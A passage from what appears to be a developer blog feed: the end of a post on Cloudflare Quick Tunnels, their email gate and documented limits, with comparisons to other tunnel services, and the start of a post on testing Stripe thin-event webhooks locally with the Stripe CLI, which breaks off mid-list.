&lt;p&gt;The downside was always the same: anyone holding the link could open it. TechSpot notes that security firms have documented criminals abusing free, anonymous tunnels to stage malware, and that ngrok’s founder said in the Hacker News thread that his company dropped anonymous tunnels years ago because the abuse wasn’t worth it. Account-less is a trade, not a free lunch.&lt;/p&gt;

&lt;h2&gt;
  
  
  What &lt;code&gt;--allowed-mail&lt;/code&gt; actually adds
&lt;/h2&gt;

&lt;p&gt;Starting with &lt;code&gt;cloudflared&lt;/code&gt; 2026.9.3, you can restrict a Quick Tunnel by email address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cloudflared tunnel &lt;span class="nt"&gt;--url&lt;/span&gt; http://localhost:8080 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--allowed-mail&lt;/span&gt; alice@example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alice opens the URL, enters her email address, receives a one-time PIN, and then reaches your app. Per Cloudflare’s documentation you can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;repeat the flag for multiple addresses,&lt;/li&gt;
&lt;li&gt;pass a comma-separated list in quotes, or&lt;/li&gt;
&lt;li&gt;allow a whole domain with a quoted wildcard such as &lt;code&gt;'*@example.com'&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Visitors do not need a Cloudflare account, and Cloudflare says email protection is free like Quick Tunnels themselves. If you omit the flag, nothing changes and the tunnel stays public. To change who has access, stop &lt;code&gt;cloudflared&lt;/code&gt; and start a new tunnel. Access ends for everyone when the process exits.&lt;/p&gt;

&lt;p&gt;If you build on Workers, Cloudflare says the same flags work through &lt;code&gt;npx wrangler tunnel quick-start&lt;/code&gt;, and that Wrangler removes &lt;code&gt;--allowed-mail&lt;/code&gt; values from its debug logs.&lt;/p&gt;

&lt;h3&gt;
  
  
  How the design works
&lt;/h3&gt;

&lt;p&gt;Cloudflare splits the problem in two. Cloudflare Access verifies that a visitor controls an email address. A small stateless broker on Workers turns that into a short-lived, signed assertion. Then &lt;code&gt;cloudflared&lt;/code&gt;, on your machine, decides whether that address is on your list.&lt;/p&gt;

&lt;p&gt;Cloudflare says it rejected two simpler designs. One was putting an Access application in front of every Quick Tunnel hostname, which would mean provisioning applications and policies for a huge number of short-lived tunnels with no account to own them. The other was building the whole login flow from scratch.&lt;/p&gt;

&lt;p&gt;The consequence of the chosen design is that your guest list never leaves your machine. Cloudflare learns that a tunnel requires email authentication, not who you invited. A protected tunnel also never falls back to public mode: if the service does not confirm the authentication mode, &lt;code&gt;cloudflared&lt;/code&gt; refuses to start. Sessions last up to four hours (less if the visitor’s Access sign-in expires sooner) or until you stop the process.&lt;/p&gt;

&lt;p&gt;Cloudflare’s post adds a footnote: the feature was shipped by two interns.&lt;/p&gt;

&lt;h3&gt;
  
  
  Making it the default for agents
&lt;/h3&gt;

&lt;p&gt;For agent workflows, Cloudflare suggests one line in &lt;code&gt;AGENTS.md&lt;/code&gt; telling the agent to always add &lt;code&gt;--allowed-mail&lt;/code&gt; with your address. The caveat is worth repeating: agents do not always follow instructions, so check what actually ran. &lt;code&gt;cloudflared&lt;/code&gt; prints whether email authentication is active and how many rules it holds, without printing the addresses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Quick Tunnels stop: the documented limits
&lt;/h2&gt;

&lt;p&gt;Cloudflare’s Quick Tunnels documentation (last updated September 30, 2026) lists these limitations:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Limit&lt;/th&gt;
&lt;th&gt;What the docs say&lt;/th&gt;
&lt;th&gt;What it means in practice&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Uptime&lt;/td&gt;
&lt;td&gt;No uptime guarantee&lt;/td&gt;
&lt;td&gt;Fine for a demo, wrong for anything users depend on&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Concurrency&lt;/td&gt;
&lt;td&gt;Up to 200 in-flight requests; additional requests get a &lt;code&gt;429&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;A busy test page or a load test can trip it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Streaming&lt;/td&gt;
&lt;td&gt;No Server-Sent Events (SSE) support&lt;/td&gt;
&lt;td&gt;Live-updating pages built on SSE will not behave&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname&lt;/td&gt;
&lt;td&gt;Changes each time you create a Quick Tunnel&lt;/td&gt;
&lt;td&gt;Every restart means a new URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email gate&lt;/td&gt;
&lt;td&gt;Requires an interactive browser session; no non-interactive clients&lt;/td&gt;
&lt;td&gt;Automated callers cannot pass the PIN&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The same page labels Quick Tunnels as for testing and development, and points to a named Cloudflare Tunnel for stable hostnames and production traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  The 200 in-flight request cap
&lt;/h3&gt;

&lt;p&gt;“In flight” means requests being proxied at the same moment, not per second. A typical dev preview never gets near 200; a crawler or load test can. The failure is explicit: requests beyond the cap return an HTTP &lt;code&gt;429&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  No SSE
&lt;/h3&gt;

&lt;p&gt;Cloudflare’s Sandbox SDK documentation explains the mechanism: the &lt;code&gt;trycloudflare.com&lt;/code&gt; edge buffers &lt;code&gt;text/event-stream&lt;/code&gt; responses, so events never reach the client in real time. The same page says WebSockets work normally and that named tunnels support SSE. This matters because many chat interfaces and dashboards stream over SSE.&lt;/p&gt;

&lt;p&gt;Hands-on testing by Flavio Copes on &lt;code&gt;cloudflared&lt;/code&gt; 2026.9.1 adds nuance absent from the docs. GET responses were held until they finished, POST responses streamed as written, and WebSockets worked both ways. That would explain why a POST-based LLM API can appear to work while a browser &lt;code&gt;EventSource&lt;/code&gt; (always GET) does not. This is one person’s observation on one version, not a guarantee, so test your own stream.&lt;/p&gt;

&lt;h3&gt;
  
  
  No uptime guarantee, and the URL is disposable
&lt;/h3&gt;

&lt;p&gt;Cloudflare’s docs promise no uptime, and the hostname is regenerated on every start. Any system that stores your URL needs updating each time.&lt;/p&gt;

&lt;h3&gt;
  
  
  The email gate and automated callers
&lt;/h3&gt;

&lt;p&gt;This is the limit most likely to surprise people. Cloudflare’s changelog lists a “webhook receiver” among the things you might share with specific people. The Quick Tunnels documentation, however, says email authentication requires an interactive browser and does not support non-interactive clients. A webhook sender cannot type an address and read a PIN, so by the documented restriction it should be blocked. That is an inference from the docs, so test it before relying on it. The email gate is built for people reviewing a demo, and it does that job well.&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical tips for demos
&lt;/h2&gt;

&lt;p&gt;These come from Flavio Copes’s hands-on guide and are observations, not documented guarantees.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The DNS gap.&lt;/strong&gt; He measured 3 to 33 seconds between the URL appearing and its DNS record resolving. Scripts that fetch the URL immediately can fail, and he reports that early failed lookups can be cached by resolvers for a long time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dev servers reject unfamiliar hosts.&lt;/strong&gt; Vite refuses requests whose &lt;code&gt;Host&lt;/code&gt; header it does not recognize. Either add &lt;code&gt;.trycloudflare.com&lt;/code&gt; to &lt;code&gt;server.allowedHosts&lt;/code&gt; or start the tunnel with &lt;code&gt;--http-host-header localhost:&amp;lt;port&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An existing config file can interfere.&lt;/strong&gt; His guide says Quick Tunnels do not work if a &lt;code&gt;config.yml&lt;/code&gt; exists in &lt;code&gt;~/.cloudflared&lt;/code&gt;, as it might from an earlier named tunnel. Rename it temporarily.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloudflare sits in the traffic path.&lt;/strong&gt; He notes Cloudflare terminates the visitor’s TLS. Tailscale’s docs, by contrast, say Funnel relay servers cannot decrypt traffic. Either way, keep real customer data out of demo tunnels.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where a stable-subdomain tunnel fits
&lt;/h2&gt;

&lt;p&gt;The limits above point to a clear dividing line. Quick Tunnels are excellent when the job is short, the audience is small and nothing stores the URL. A stable-subdomain tunnel fits when any of these are true:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A third party stores your URL.&lt;/strong&gt; Webhook dashboards, OAuth redirect URI allowlists and embed allowlists all expect an address that does not change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The audience is automated.&lt;/strong&gt; Webhook senders and CI jobs cannot complete an interactive login.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The session outlives a laptop sleep.&lt;/strong&gt; You want the same address tomorrow morning.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You need streaming or more concurrency&lt;/strong&gt; than a Quick Tunnel allows.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is how the main options compare, using each vendor’s own documentation.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Stable URL?&lt;/th&gt;
&lt;th&gt;What you need&lt;/th&gt;
&lt;th&gt;Notes from the docs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare Quick Tunnel&lt;/td&gt;
&lt;td&gt;No, random each start&lt;/td&gt;
&lt;td&gt;Nothing&lt;/td&gt;
&lt;td&gt;Limits listed above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare named tunnel&lt;/td&gt;
&lt;td&gt;Yes, a hostname you choose&lt;/td&gt;
&lt;td&gt;Free account plus a domain on Cloudflare DNS&lt;/td&gt;
&lt;td&gt;Cloudflare recommends this for stable hostnames and production traffic; SSE supported per the Sandbox docs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ngrok free plan&lt;/td&gt;
&lt;td&gt;Yes, one assigned dev domain that persists across restarts; you cannot choose the name&lt;/td&gt;
&lt;td&gt;ngrok account&lt;/td&gt;
&lt;td&gt;Up to 3 online endpoints, 1 GB/month transfer out, 20,000 requests/month; an interstitial page is shown in front of HTML browser traffic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tailscale Funnel&lt;/td&gt;
&lt;td&gt;Yes, on your &lt;code&gt;*.ts.net&lt;/code&gt; name&lt;/td&gt;
&lt;td&gt;Tailscale installed, MagicDNS, HTTPS and Funnel enabled&lt;/td&gt;
&lt;td&gt;Beta; public ports limited to 443, 8443 and 10000; bandwidth limits are non-configurable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;InstaTunnel&lt;/td&gt;
&lt;td&gt;Yes, via &lt;code&gt;--subdomain&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The npm CLI&lt;/td&gt;
&lt;td&gt;README documents &lt;code&gt;--password&lt;/code&gt;, &lt;code&gt;--auth&lt;/code&gt; (basic auth) and custom domains on Pro/Business plans; the README says the deployment is currently single-region (US)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A few clarifications keep this table honest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Named Cloudflare tunnels&lt;/strong&gt; use the same &lt;code&gt;cloudflared&lt;/code&gt; binary, at the cost of owning a domain on Cloudflare DNS. If you already do, this is the natural upgrade.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ngrok’s free plan&lt;/strong&gt; keeps a persistent dev domain, but the name is assigned, not chosen. Its docs say the interstitial warning page appears in front of all HTML browser traffic on the free tier, with a cookie suppressing it for 7 days after a visitor clicks through. API and programmatic traffic is not affected, and a documented &lt;code&gt;ngrok-skip-browser-warning&lt;/code&gt; request header bypasses it. Custom and reserved domains require a paid plan, and free endpoints have no timeout.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tailscale Funnel&lt;/strong&gt; suits existing Tailscale users. The fixed ports and &lt;code&gt;ts.net&lt;/code&gt; naming constrain webhook providers and branded demos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;InstaTunnel&lt;/strong&gt; documents &lt;code&gt;instatunnel 3000 --subdomain myapp&lt;/code&gt; and a protected review-link example using &lt;code&gt;--auth&lt;/code&gt;. Its README also describes an MCP streaming transport (v2) listed under its Pro and Business features. I could not verify its free-tier session limits from the README, so check its pricing page before relying on any free-tier claim, as with any vendor.&lt;/p&gt;

&lt;h2&gt;
  
  
  A practical decision checklist
&lt;/h2&gt;

&lt;p&gt;Ask these questions in order and stop at the first “yes”:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Will anything outside your machine remember this URL?&lt;/strong&gt; (webhook dashboard, OAuth allowlist, a teammate’s bookmark) Use a stable-subdomain tunnel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Does the visitor have to be a script?&lt;/strong&gt; Skip the email gate. Use a stable tunnel with token or basic authentication that a machine can send, and verify webhook signatures in your handler.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Does your app stream over SSE or expect more than 200 concurrent requests?&lt;/strong&gt; Use a named tunnel or another provider.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is it a one-off review by a few humans?&lt;/strong&gt; A Quick Tunnel with &lt;code&gt;--allowed-mail&lt;/code&gt; is hard to beat. It is fast, free, and the guest list stays local.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is it production?&lt;/strong&gt; Not a Quick Tunnel. Cloudflare says so itself.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Whichever you pick: tunnel only the port you mean to share, stop the tunnel when you finish, and keep real customer data out, since a hosted provider sits in the traffic path.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently asked questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Are Cloudflare Quick Tunnels free?
&lt;/h3&gt;

&lt;p&gt;Yes. They need no account or domain, and Cloudflare says email protection is free too. They carry no uptime guarantee and are meant for testing and development.&lt;/p&gt;

&lt;h3&gt;
  
  
  How do I restrict a Quick Tunnel to certain people?
&lt;/h3&gt;

&lt;p&gt;Use &lt;code&gt;cloudflared&lt;/code&gt; 2026.9.3 or later and add &lt;code&gt;--allowed-mail&lt;/code&gt; with an address, a comma-separated list, or a quoted wildcard like &lt;code&gt;'*@example.com'&lt;/code&gt;. Visitors confirm with a one-time PIN and need no Cloudflare account.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why does my Quick Tunnel return a 429 error?
&lt;/h3&gt;

&lt;p&gt;Quick Tunnels allow up to 200 in-flight requests, and additional requests get an HTTP &lt;code&gt;429&lt;/code&gt;. If you hit it regularly, move to a named tunnel or another provider.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do Quick Tunnels support Server-Sent Events?
&lt;/h3&gt;

&lt;p&gt;No. Cloudflare’s docs say so, and its Sandbox docs list SSE as supported on named tunnels.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I keep the same URL after a restart?
&lt;/h3&gt;

&lt;p&gt;Not with a Quick Tunnel, because the hostname changes each time. Use a named Cloudflare Tunnel on your own domain, or a service with reserved subdomains.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why is Vite blocking my tunnel URL?
&lt;/h3&gt;

&lt;p&gt;Vite rejects hosts it does not recognize. Add &lt;code&gt;.trycloudflare.com&lt;/code&gt; to &lt;code&gt;server.allowedHosts&lt;/code&gt;, or start the tunnel with &lt;code&gt;--http-host-header&lt;/code&gt; set to your local host and port.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Account-less tunnels get the first five minutes right: no signup, one command, real HTTPS, and now a guest list that stays on your machine. They stop where the documentation says: no uptime guarantee, 200 in-flight requests, no SSE, a hostname that changes on every start, and an email gate machines cannot pass.&lt;/p&gt;

&lt;p&gt;Use a Quick Tunnel for the demo. When a webhook provider, an allowlist or a teammate’s bookmark needs the address to stay put, switch to a stable-subdomain tunnel and stop pasting new URLs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/tunnel/get-started/quick-tunnels/" rel="noopener noreferrer"&gt;Cloudflare Docs: Quick Tunnels&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/changelog/post/2026-10-02-protected-quick-tunnels/" rel="noopener noreferrer"&gt;Cloudflare Changelog: Protect Quick Tunnels with email authentication (2026-10-02)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.cloudflare.com/protected-quick-tunnels/" rel="noopener noreferrer"&gt;Cloudflare Blog: Protected Quick Tunnels&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.cloudflare.com/quick-tunnels-anytime-anywhere/" rel="noopener noreferrer"&gt;Cloudflare Blog: Quick Tunnels: Anytime, Anywhere (2021)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/sandbox/api/tunnels/" rel="noopener noreferrer"&gt;Cloudflare Sandbox SDK: Tunnels&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.techspot.com/news/113929-one-command-trick-can-put-localhost-internet-no.html" rel="noopener noreferrer"&gt;TechSpot: This one-command trick can put your localhost on the internet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://flaviocopes.com/cloudflare-quick-tunnels/" rel="noopener noreferrer"&gt;Flavio Copes: The complete guide to Cloudflare Quick Tunnels&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ngrok.com/docs/pricing-limits/free-plan-limits" rel="noopener noreferrer"&gt;ngrok Docs: Free plan limits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tailscale.com/docs/features/tailscale-funnel" rel="noopener noreferrer"&gt;Tailscale Docs: Funnel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cdn.jsdelivr.net/npm/instatunnel@1.1.23/README.md" rel="noopener noreferrer"&gt;InstaTunnel README on npm (v1.1.23)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/after-the-quick-tunnels-moment-what-account-less-tunnels-get-right-and-where-they-stop" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/after-the-quick-tunnels-moment-what-account-less-tunnels-get-right-and-where-they-stop&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Stripe Thin Events on Localhost: When the CLI Is Enough and When You Need a Stable Public URL</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Fri, 30 Oct 2026 01:40:15 +0000</pubDate>
      <link>https://dev.to/instatunnel/stripe-thin-events-on-localhost-when-the-cli-is-enough-and-when-you-need-a-stable-public-url-4e2k</link>
      <guid>https://dev.to/instatunnel/stripe-thin-events-on-localhost-when-the-cli-is-enough-and-when-you-need-a-stable-public-url-4e2k</guid>
      <description>&lt;p&gt;If you wrote your Stripe webhook handler a few years ago, it probably assumes the event contains the whole object. Thin events break that assumption on purpose. A thin event is a small notification that says &lt;em&gt;what happened&lt;/em&gt; and &lt;em&gt;which object it happened to&lt;/em&gt;. Your code then calls the Stripe API to get the rest.&lt;/p&gt;

&lt;p&gt;That design suits production, but it changes how you test on &lt;code&gt;localhost&lt;/code&gt;. There are now two event formats, two sets of CLI flags, and two different answers to “do I need a public URL?”&lt;/p&gt;

&lt;p&gt;This guide covers how thin events differ from snapshot events, how to receive them locally with the Stripe CLI, where the CLI stops being enough, and why a stable public HTTPS URL matters once teammates share an endpoint.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Thin events&lt;/strong&gt; carry an event ID, type, timestamp, and a pointer to the related object. The notification payload is &lt;strong&gt;unversioned&lt;/strong&gt;. &lt;strong&gt;Snapshot events&lt;/strong&gt; carry the full object and are tied to an API version.&lt;/li&gt;
&lt;li&gt;The CLI forwards snapshot events with &lt;code&gt;--forward-to&lt;/code&gt;. Thin events use &lt;code&gt;--forward-thin-to&lt;/code&gt; plus &lt;code&gt;--thin-events&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For one developer building a handler, &lt;code&gt;stripe listen&lt;/code&gt; is usually enough. It needs no public URL and no Dashboard setup.&lt;/li&gt;
&lt;li&gt;A registered event destination that delivers to a webhook endpoint needs a &lt;strong&gt;publicly accessible HTTPS URL&lt;/strong&gt;. That is where a stable tunnel or a deployed staging server comes in.&lt;/li&gt;
&lt;li&gt;Fetch-after-notify handlers work on localhost, because the follow-up API call is an ordinary outbound request.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Thin events vs. snapshot events
&lt;/h2&gt;

&lt;p&gt;Stripe delivers events to an event destination in one of two formats, and you choose the format when you create the destination.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;snapshot event&lt;/strong&gt; arrives as the complete &lt;code&gt;Event&lt;/code&gt; object, including a point-in-time copy of the related resource. Its structure follows the API version of the destination, so your code and your destination must stay compatible. Statically typed SDKs (.NET, Java, Go) need the destination’s API version to match the version the SDK was generated from, or deserialization fails.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;thin event&lt;/strong&gt; arrives as a lightweight notification. Per Stripe’s documentation, it contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;type&lt;/code&gt;, such as &lt;code&gt;v2.core.account.updated&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;id&lt;/code&gt;, the event ID you use to retrieve the full event&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;created&lt;/code&gt;, a timestamp&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;related_object&lt;/code&gt;, with the resource’s ID, type, and API URL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Stripe’s example payload also shows &lt;code&gt;livemode&lt;/code&gt;, &lt;code&gt;context&lt;/code&gt;, and a &lt;code&gt;reason&lt;/code&gt; hash that describes what triggered the event.&lt;/p&gt;

&lt;p&gt;The notification does not include the &lt;code&gt;changes&lt;/code&gt; or &lt;code&gt;data&lt;/code&gt; hashes. Those exist only on the complete event, which you retrieve from the v2 Events API.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Snapshot events&lt;/th&gt;
&lt;th&gt;Thin events&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Payload&lt;/td&gt;
&lt;td&gt;Large, includes a snapshot of the object&lt;/td&gt;
&lt;td&gt;Small, ID and pointer only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Versioning&lt;/td&gt;
&lt;td&gt;Versioned by API version&lt;/td&gt;
&lt;td&gt;Unversioned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SDK typing&lt;/td&gt;
&lt;td&gt;Untyped&lt;/td&gt;
&lt;td&gt;Typed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Events API&lt;/td&gt;
&lt;td&gt;v1&lt;/td&gt;
&lt;td&gt;v2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed fields&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;previous_attributes&lt;/code&gt; in the payload&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;changes&lt;/code&gt; hash on the full event&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Because the notification is unversioned, you can upgrade your Stripe SDK or API version without editing the event destination. The resources you fetch afterwards still follow normal API versioning. Stripe recommends thin events for new integrations. It keeps snapshot events for two cases: a third-party tool needs the complete &lt;code&gt;Event&lt;/code&gt; payload, or you need the previous values of changed attributes without an extra API call.&lt;/p&gt;

&lt;p&gt;One detail trips up older tutorials. Stripe’s current documentation says both API v1 and API v2 resources generate thin events, and the thin event catalog lists &lt;code&gt;v1.*&lt;/code&gt; types such as &lt;code&gt;v1.payment_intent.succeeded&lt;/code&gt; and &lt;code&gt;v1.invoice.paid&lt;/code&gt;. Some versions of Stripe’s docs still describe thin events for v1 resources as a private preview. Check the catalog and your own account before you build on a specific type.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why fetch-after-notify fits localhost
&lt;/h2&gt;

&lt;p&gt;A snapshot can be stale by the time you process it, and Stripe advises fetching the latest resource before acting on critical data. Thin events make that the default workflow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Verify the signature and parse the notification.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;fetchRelatedObject()&lt;/code&gt; to get the current state of the resource.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;fetchEvent()&lt;/code&gt; only if you need the &lt;code&gt;data&lt;/code&gt; or &lt;code&gt;changes&lt;/code&gt; hashes.&lt;/li&gt;
&lt;li&gt;Act on what you fetched.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the event type and resource ID tell you enough, you can also process the notification without any extra call.&lt;/p&gt;

&lt;p&gt;This helps local development. Your handler needs &lt;strong&gt;inbound&lt;/strong&gt; delivery from Stripe and &lt;strong&gt;outbound&lt;/strong&gt; calls to the Stripe API. Outbound calls work from any laptop. Only inbound delivery needs a route to your machine, and the CLI provides one without a public URL.&lt;/p&gt;

&lt;p&gt;Your handler does need an API key for those outbound calls. A publishable key can’t authorize &lt;code&gt;fetchRelatedObject()&lt;/code&gt; or &lt;code&gt;fetchEvent()&lt;/code&gt;. Use a secret or restricted key, and Stripe suggests restricting it to read access on the resources you retrieve.&lt;/p&gt;

&lt;h2&gt;
  
  
  Receiving thin events with the Stripe CLI
&lt;/h2&gt;

&lt;p&gt;Install the CLI and log in. Stripe’s current guide installs it with npm, and the login pairs the CLI to your account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @stripe/cli@latest
stripe login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API key that &lt;code&gt;stripe login&lt;/code&gt; generates is valid for 90 days.&lt;/p&gt;

&lt;p&gt;By default, &lt;code&gt;stripe listen&lt;/code&gt; accepts snapshot events only. To get thin events, name them with &lt;code&gt;--thin-events&lt;/code&gt; and give them their own forwarding target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;stripe listen &lt;span class="nt"&gt;--forward-thin-to&lt;/span&gt; localhost:4242/webhook &lt;span class="nt"&gt;--thin-events&lt;/span&gt; &lt;span class="s2"&gt;"*"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the form used in Stripe’s webhook guide. The CLI prints a signing secret beginning with &lt;code&gt;whsec_&lt;/code&gt;. Stripe states that this secret does not change between restarts of &lt;code&gt;stripe listen&lt;/code&gt;, so you can store it in a local &lt;code&gt;.env&lt;/code&gt; file once.&lt;/p&gt;

&lt;p&gt;A few details worth knowing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Two formats, two flags.&lt;/strong&gt; &lt;code&gt;--forward-to&lt;/code&gt; handles snapshot events and &lt;code&gt;--forward-thin-to&lt;/code&gt; handles thin events. Use both in one command if your app consumes both.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connect has its own flag.&lt;/strong&gt; &lt;code&gt;--forward-thin-connect-to&lt;/code&gt; forwards thin events from connected accounts. By default it reuses your thin events URL. The snapshot equivalent is &lt;code&gt;--forward-connect-to&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sandbox by default.&lt;/strong&gt; Add &lt;code&gt;--live&lt;/code&gt; only when you deliberately want live-mode events.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No Dashboard setup.&lt;/strong&gt; You don’t need to configure any webhook endpoint in the Dashboard to receive events through the CLI.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Terminal only.&lt;/strong&gt; You can’t forward events from the Workbench Shell to your local endpoint. Run the CLI in a real terminal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Self-signed HTTPS.&lt;/strong&gt; &lt;code&gt;--skip-verify&lt;/code&gt; skips certificate verification when forwarding to an HTTPS target. Use it for local development only.&lt;/li&gt;
&lt;li&gt;
